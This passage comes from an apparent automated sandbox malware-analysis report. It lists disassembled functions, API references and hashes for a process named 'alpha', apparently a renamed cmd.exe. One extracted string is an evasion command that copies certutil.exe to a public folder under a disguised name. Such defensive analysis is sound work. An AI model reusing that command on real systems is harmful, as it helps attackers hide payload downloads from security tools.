                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ConsoleErrorOpenTitleTokenwcsstr$CloseFormatFreeLastLocalMessageProcessStatusThread
                                                                                      • String ID:
                                                                                      • API String ID: 1313749407-0
                                                                                      • Opcode ID: ee6218c461c646e929341b9db92bfc99d61f95d83b881389c5cff3e0ca217c2e
                                                                                      • Instruction ID: c6abc32cdd7b270484d260934bad7f342718a4150649cdd469a36a8088070a53
                                                                                      • Opcode Fuzzy Hash: ee6218c461c646e929341b9db92bfc99d61f95d83b881389c5cff3e0ca217c2e
                                                                                      • Instruction Fuzzy Hash: D351E723A0868296FA10BB11A414579E691FF45B90FF89234EF2E577D1DF3CE541C360
                                                                                      Function 00007FF78CF6EC14 Relevance: 10.6, APIs: 7, Instructions: 121COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Error$CurrentDirectoryModememset$EnvironmentLastVariable
                                                                                      • String ID:
                                                                                      • API String ID: 920682188-0
                                                                                      • Opcode ID: 9d1635e35e3ac97de0e6528cece6faaa031c08ed2930d9ed60b369340f3def9a
                                                                                      • Instruction ID: 61d8b9ed04223c309ba94c46e014b2e748ad0116cd217f54451ca5262dc1605a
                                                                                      • Opcode Fuzzy Hash: 9d1635e35e3ac97de0e6528cece6faaa031c08ed2930d9ed60b369340f3def9a
                                                                                      • Instruction Fuzzy Hash: E5511633705B818AEB25EF20E8546E8B7A1FB89B84F948135DA4E4B754EF3CD649C710
                                                                                      Function 00007FF78CF4DF60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      • extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe , xrefs: 00007FF78CF4E00B
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$FreeProcess_setjmp
                                                                                      • String ID: extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
                                                                                      • API String ID: 777023205-3344945345
                                                                                      • Opcode ID: bbf52200d93ced3108c92f56beefed0410d329e72fd007d8cbedcbd411aea915
                                                                                      • Instruction ID: eded28efa97df20ddec70118b81716e84a87a22be19f08ef4c6097798ceb8e34
                                                                                      • Opcode Fuzzy Hash: bbf52200d93ced3108c92f56beefed0410d329e72fd007d8cbedcbd411aea915
                                                                                      • Instruction Fuzzy Hash: F151393390DA428AFB54AF15A980578F7A0FF88B94FF44535E94E567A1DF3CA480CB21
                                                                                      Function 00007FF78CF4F5D7 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 91COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • iswspace.MSVCRT(00000000,00000000,?,00000000,?,00007FF78CF4E626,?,?,00000000,00007FF78CF51F69), ref: 00007FF78CF4F1BA
                                                                                      • wcschr.MSVCRT(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF4F1E7
                                                                                      • iswdigit.MSVCRT(00000000,00000000,?,00000000,?,00007FF78CF4E626,?,?,00000000,00007FF78CF51F69), ref: 00007FF78CF4F1FF
                                                                                      • iswdigit.MSVCRT(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF4F2BB
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: iswdigit$iswspacewcschr
                                                                                      • String ID: )$=,;
                                                                                      • API String ID: 1959970872-2167043656
                                                                                      • Opcode ID: e8a5d63c360e4c13ef561f3ce3dd80187a3c2d8689f5c743dd181e811bfffbc3
                                                                                      • Instruction ID: f7a623a0e48c0cc6e7d665c6fddf25b9741568c68e03098f0faf765bc80bf253
                                                                                      • Opcode Fuzzy Hash: e8a5d63c360e4c13ef561f3ce3dd80187a3c2d8689f5c743dd181e811bfffbc3
                                                                                      • Instruction Fuzzy Hash: 9441AB67E0825386FB64BB14DA04A79F6E0FF50745FF49036D98D4A1A0DF3CA445CA31
                                                                                      Function 00007FF78CF691B8 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsnicmpfprintfwcsrchr
                                                                                      • String ID: CMD Internal Error %s$%s$Null environment
                                                                                      • API String ID: 3625580822-2781220306
                                                                                      • Opcode ID: 9798a54e4fc5b33e689a2c9d89df2130ab496e8d723cbfb9f498f453c0192420
                                                                                      • Instruction ID: 315ecb23aca2e6ca04256ef01cef60c0546f51a9fbc01c9c6ed13afebeab7619
                                                                                      • Opcode Fuzzy Hash: 9798a54e4fc5b33e689a2c9d89df2130ab496e8d723cbfb9f498f453c0192420
                                                                                      • Instruction Fuzzy Hash: A231E223A0868693FA54BB42E5005BAF2A1FF45BA4FA45234DE1D177E5EE3CE585C320
                                                                                      Function 00007FF78CF51FAC Relevance: 9.3, APIs: 6, Instructions: 260COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memsetwcsspn
                                                                                      • String ID:
                                                                                      • API String ID: 3809306610-0
                                                                                      • Opcode ID: b301965ff12d262252dd12f41c330d116590c5451c87bac9252232e49858c122
                                                                                      • Instruction ID: 0ea7b63becd71f5e88cb8ebae20d3bbcb93d6731d20dfabbb96a338c3c3a33f6
                                                                                      • Opcode Fuzzy Hash: b301965ff12d262252dd12f41c330d116590c5451c87bac9252232e49858c122
                                                                                      • Instruction Fuzzy Hash: 03B19F63A08B8282FA50EB15E45027AA7A0FB54B80FE58131DB4E87795DF7CE946C720
                                                                                      Function 00007FF78CF68C18 Relevance: 9.1, APIs: 6, Instructions: 145COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcschr$iswdigit$wcstol
                                                                                      • String ID:
                                                                                      • API String ID: 3841054028-0
                                                                                      • Opcode ID: c8e66ebebd8934775a16318260a5522f8ecbc9a094cbada97be1ab4c749f477c
                                                                                      • Instruction ID: bffc9da64ce1050cdf5fbaec8795eaee656743aa03180fb533a5cabe018fc603
                                                                                      • Opcode Fuzzy Hash: c8e66ebebd8934775a16318260a5522f8ecbc9a094cbada97be1ab4c749f477c
                                                                                      • Instruction Fuzzy Hash: B051F727A0865292F724AB15D8106B9F6A1FF68750BE4C239EE5D42AD4FF3CE442C330
                                                                                      Function 00007FF78CF45984 Relevance: 9.1, APIs: 6, Instructions: 142COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF63687
                                                                                      • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF78CF4260D), ref: 00007FF78CF636A6
                                                                                      • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF78CF4260D), ref: 00007FF78CF636EB
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF63703
                                                                                      • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF78CF4260D), ref: 00007FF78CF63722
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Console$Write_get_osfhandle$Mode
                                                                                      • String ID:
                                                                                      • API String ID: 1066134489-0
                                                                                      • Opcode ID: 4c1f695bad35c7bf589eba106c736ecb6e681f2494b966e2c9ca81186bfba4b7
                                                                                      • Instruction ID: 6c4981e725a64c251a4bb9a1b8c002167c80bdc9225af54af9ba6b40240a09f1
                                                                                      • Opcode Fuzzy Hash: 4c1f695bad35c7bf589eba106c736ecb6e681f2494b966e2c9ca81186bfba4b7
                                                                                      • Instruction Fuzzy Hash: D551B123B0864297FA247F21A50497AF6A1FF44BA0FA88435DE0E47795DF3DE448CB20
                                                                                      Function 00007FF78CF489C0 Relevance: 9.1, APIs: 6, Instructions: 85COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$DriveErrorInformationLastTypeVolume
                                                                                      • String ID:
                                                                                      • API String ID: 850181435-0
                                                                                      • Opcode ID: 41e637cf901b3345656d12757c0875431f92b4df5430d67bb2a32cad95087ec1
                                                                                      • Instruction ID: bba52d283aef2bd83f8bc129011b9d7d10fc3bc16419161e66d5707903202d93
                                                                                      • Opcode Fuzzy Hash: 41e637cf901b3345656d12757c0875431f92b4df5430d67bb2a32cad95087ec1
                                                                                      • Instruction Fuzzy Hash: D0416F33608BC1D9F7709F20E8446E9B7A4FB89B44FA58525DA4D8BB48CF38D649C710
                                                                                      Function 00007FF78CF534A0 Relevance: 9.1, APIs: 6, Instructions: 84COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF53578: _get_osfhandle.MSVCRT ref: 00007FF78CF53584
                                                                                        • Part of subcall function 00007FF78CF53578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF5359C
                                                                                        • Part of subcall function 00007FF78CF53578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535C3
                                                                                        • Part of subcall function 00007FF78CF53578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535D9
                                                                                        • Part of subcall function 00007FF78CF53578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535ED
                                                                                        • Part of subcall function 00007FF78CF53578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF53602
                                                                                      • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00000000,00007FF78CF53491,?,?,?,00007FF78CF64420), ref: 00007FF78CF53514
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF53522
                                                                                      • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,00000000,00007FF78CF53491,?,?,?,00007FF78CF64420), ref: 00007FF78CF53541
                                                                                      • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00000000,00007FF78CF53491,?,?,?,00007FF78CF64420), ref: 00007FF78CF5355E
                                                                                        • Part of subcall function 00007FF78CF536EC: _get_osfhandle.MSVCRT ref: 00007FF78CF53715
                                                                                        • Part of subcall function 00007FF78CF536EC: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF78CF53770
                                                                                        • Part of subcall function 00007FF78CF536EC: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF53791
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: LockShared$_get_osfhandle$AcquireConsoleFileReleaseWrite$ByteCharHandleModeMultiTypeWide
                                                                                      • String ID:
                                                                                      • API String ID: 4057327938-0
                                                                                      • Opcode ID: 88fe3d8dcb1b39454ed35e4d5bc75a190f5634e19a67efeee45e7c5e6c767e8c
                                                                                      • Instruction ID: 27d1706e06c273d6d681a974fab5f2c4e6f0d0afcd04e637a041163bf9eaf84b
                                                                                      • Opcode Fuzzy Hash: 88fe3d8dcb1b39454ed35e4d5bc75a190f5634e19a67efeee45e7c5e6c767e8c
                                                                                      • Instruction Fuzzy Hash: 7E315223A08A4297F754BB299442179F6A0FF89741FE49135DB4E83795DE3CE508C620
                                                                                      Function 00007FF78CF6BE30 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 60COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsicmpwcschr$Heap$AllocProcessiswspace
                                                                                      • String ID: KEYS$LIST$OFF
                                                                                      • API String ID: 411561164-4129271751
                                                                                      • Opcode ID: 9fd236f794765471c688532a78fffa23d2b2533206d05d2e386dcf7da8b9c818
                                                                                      • Instruction ID: 124b14b9ba6110d160abda1e837aec95f3ac470a20b672c26cbe05ce6f6d9f1d
                                                                                      • Opcode Fuzzy Hash: 9fd236f794765471c688532a78fffa23d2b2533206d05d2e386dcf7da8b9c818
                                                                                      • Instruction Fuzzy Hash: 01216D32A0864392FB54BB29A4425B5F6A1FF98790FE09231D61E462E4EF7CE548D720
                                                                                      Function 00007FF78CF501B8 Relevance: 9.1, APIs: 6, Instructions: 57COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF501C4
                                                                                      • GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF78CF5E904,?,?,?,?,00000000,00007FF78CF53491,?,?,?,00007FF78CF64420), ref: 00007FF78CF501D6
                                                                                      • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,00007FF78CF5E904,?,?,?,?,00000000,00007FF78CF53491,?,?,?,00007FF78CF64420), ref: 00007FF78CF50212
                                                                                      • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF78CF5E904,?,?,?,?,00000000,00007FF78CF53491,?,?,?,00007FF78CF64420), ref: 00007FF78CF50228
                                                                                      • GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,00007FF78CF5E904,?,?,?,?,00000000,00007FF78CF53491,?,?,?,00007FF78CF64420), ref: 00007FF78CF5023C
                                                                                      • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF78CF5E904,?,?,?,?,00000000,00007FF78CF53491,?,?,?,00007FF78CF64420), ref: 00007FF78CF50251
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: LockShared$AcquireConsoleFileHandleModeReleaseType_get_osfhandle
                                                                                      • String ID:
                                                                                      • API String ID: 513048808-0
                                                                                      • Opcode ID: 9ca52e2f36e6298e0da0b73f4c48285a799823b45280523adb4bff91af1efe56
                                                                                      • Instruction ID: 225851b1d4cf8c599be63594a40ec2e7d01972f435f862ca35f271e6358a5920
                                                                                      • Opcode Fuzzy Hash: 9ca52e2f36e6298e0da0b73f4c48285a799823b45280523adb4bff91af1efe56
                                                                                      • Instruction Fuzzy Hash: 4221602390C683C7FA546B64B685238EA90FF49B55FB44134EB1F82690DF7CD548C721
                                                                                      Function 00007FF78CF53578 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF53584
                                                                                      • GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF5359C
                                                                                      • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535C3
                                                                                      • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535D9
                                                                                      • GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535ED
                                                                                      • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF53602
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: LockShared$AcquireConsoleFileHandleModeReleaseType_get_osfhandle
                                                                                      • String ID:
                                                                                      • API String ID: 513048808-0
                                                                                      • Opcode ID: 03f01a8104886db99b7aad40b47997af4647daf6f98f1b4f0a1f116e85409c1b
                                                                                      • Instruction ID: 27390960075ead67faaad0df53b9e3de359a736aaf2e568da58c8418f77db84e
                                                                                      • Opcode Fuzzy Hash: 03f01a8104886db99b7aad40b47997af4647daf6f98f1b4f0a1f116e85409c1b
